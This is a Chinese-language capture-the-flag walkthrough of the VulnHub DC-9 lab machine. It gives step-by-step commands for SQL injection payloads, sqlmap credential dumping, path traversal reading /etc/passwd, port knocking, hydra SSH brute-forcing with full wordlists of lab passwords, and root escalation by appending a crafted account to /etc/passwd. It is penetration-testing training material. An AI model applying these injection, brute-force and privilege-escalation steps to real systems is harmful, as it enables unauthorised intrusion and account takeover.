DC-9
DC-9下载:https://download.vulnhub.com/dc/DC-9.zip.torrent
攻击者kali:192.168.1.11
受害者DC-9:192.168.1.14
使用arp-scan -l得到DC-9IP地址
用nmap扫描DC-9
nmap -sS -A -p- 192.168.1.14
扫出了22和80端口,但是22端口是filtered
访问一下80
没有从定向,正常访问,提示我们从菜单中选择一个选项,小孩子才做选择,我全都看看有啥。
在Display all Records里有一些用户信息
第三个Search,搜索
提示我们可以使用名字的姓氏进行搜索,前面第二个菜单不是有用户信息嘛,复制第一个用户的性氏搜索一下
得到了用户得信息,尝试一下手工注入看看,确定一下是不是有sql注入漏洞
常用的手工注入命令
1' and 1=1;# 判断是否可以被注入
1' or 1=1;# 尝试获取全部账号信息
1' union all select 1,2;# 尝试获取参数个数
1' union all select 1,(@@version);# 获取数据库版本
1' union all select 1,(databases());# 获取数据库名称
判断一下是否能注入
Mary' and 1=1;#
能注入成功
既然有注入点,直接sqlmap搞起
想直接url注入,没想到失败
换个方式用burp抓包,然后再注入
在kali打开burp
查看burp的代理
浏览器设置好一样的代理
burp开启抓包
浏览器在Search搜索
提交
burp抓到数据包
右键选择copy to file
命名为dc9.txt点击保存
文件里就会有抓包的数据
burp关掉抓包
sqlmap注入 -r注入是http头注
sqlmap -r dc9.txt --dbs
得到两个数据库,Staff和users,肯定选users
继续注入
sqlmap -r dc9.txt -D users --tables
sqlmap -r dc9.txt -D users -T UserDetails –dump
得出一些账号密码信息不知道有什么用
我最后真是啪啪打脸,user里面没有管理员得信息
注入另一个表
sqlmap -r dc9.txt -D Staff --tables
一样注入users
sqlmap -r dc9.txt -D Staff -T Users --dump
获取表里得信息
爆出了管理员和密码
看起来像是md5加密的,拿去md5解密一下
由于网上的MD5解密都是收费的
尝试安装一下啊md5解密工具
在gitee上找到
https://gitee.com/mirrors_s0md3v/Hash-Buster?_from=gitee_search
下载到kali
git clone https://gitee.com/mirrors_s0md3v/Hash-Buster/
进入到Hash-Buster目录,执行脚本
cd Hash-Buster/
python3 hash.py -s 856f5de590ef37314e7c3bdf6f8a66dc
将md5值放到后面,最后解出密码
密码为 : transorbital1
去尝试登录试试
登录成功,下面这里还提示我们有文件包含漏洞
尝试一下看看有没有
因为使用的是apache服务器,可以判断他的网页路径在/var/www/html
../../../etc/passwd下没有显示,应该是在html下还有一个目录,然后我加了一个../
http://192.168.1.14/welcome.php?file=../../../../etc/passwd
成功显示
看到有几个眼熟的账号
结果对对比一看
这不是之前sql注入users数据库表里的数据嘛UserDetails
之前还不知道干啥用
那么是不是可以尝试一下ssh爆破,毕竟数据表里有账号密码
但是ssh状态为filtered,有可能是被防火墙过滤了
去查看一下配置
http://192.168.1.14/welcome.php?file=../../../../etc/knockd.conf
分别去连续访问这三个端口才行 7469 8475 9842
使用nmap搞一下
再次扫描就发现22端口开了
在桌面创建两个txt文本分别为dc9user.txt和dc9pass.txt
dc9user.txt
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
dc9pass.txt
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
将账号密码放入
接下来使用hydra来爆破
hydra -L dc9user.txt -P dc9pass.txt 192.168.1.14 ssh
爆出了三个账号
login: chandlerb password: UrAG0D!
login: joeyt password: Passw0rd
login: janitor password: Ilovepeepee
三个都试试登录ssh
经过一番折腾
在janitor账号下发现一个密码字典
那么在将这几个密码加入dc9pass.txt下再爆破一次看看,是否能在出账号
最后多爆出另一个账号
login: fredf password: B4-Tru3-001
进行ssh登录
登录成功
查看一下权限
提示这个文件
进入这个文件的目录看看
cd /opt/devstuff/dist/test/
尝试执行一下test文件
执行不了,需要test.py
返回到devstuff目录下看到有个test.py的脚本
代码的意思是将第一个文件的内容写入第二个文件中
那就创建一个文件写入我们自己登录的账户信息
先使用openssl工具生成一个hash值
意思是demon 的密码为123456
openssl passwd -1 -salt demon 123456
将hash值复制到
echo 'demon:$1$demon$Mspg7FhbFwGLZ4T2s/qI6/:0:0:root:/bin/bash' >> /tmp/demon
将我们的登录信息写入到tmp目录下的demon
再利用test将/tmp/demon的内容写入到/etc/passwd
sudo ./test /tmp/demon /etc/passwd
切换用户到我们创建的demon用户
su demon
输入密码回车,查看当前权限,是root,提权成功
打开交互模式
python -c 'import pty;pty.spawn("/bin/bash")'
在root目录下找到flag
DC-9总结
sql手工注入判断是否有sql注入漏洞
sqlmap的rul注入失败,使用burp抓包,然后http头注
burp熟练度使用
sqlmap的注入获取到用户信息,还有admin管理账号的hash值
因为是md5加密,下载Hash-Buster解密md5,得到管理员密码
登录后提示有文件包含漏洞,通过对apache的熟练判断网页所在位置利用文件包含漏洞查看文件
查看/etc/passwd获取信息,方便进一步ssh账号爆破
ssh状态为filtered,查看/etc/knockd配置文件
nmap访问三个端口7469、8475、9842,ssh端口open
将数据库注入获取到的账号密码存储为txt文本
使用hydra爆破ssh登录的账号密码
在三个账号下找到密码字典,从新尝试爆破,获取新的ssh登录账号
尝试提权
openssl工具的使用
提权成功
打开交互模式python -c 'import pty;pty.spawn("/bin/bash")'
在root目录下拿到flag



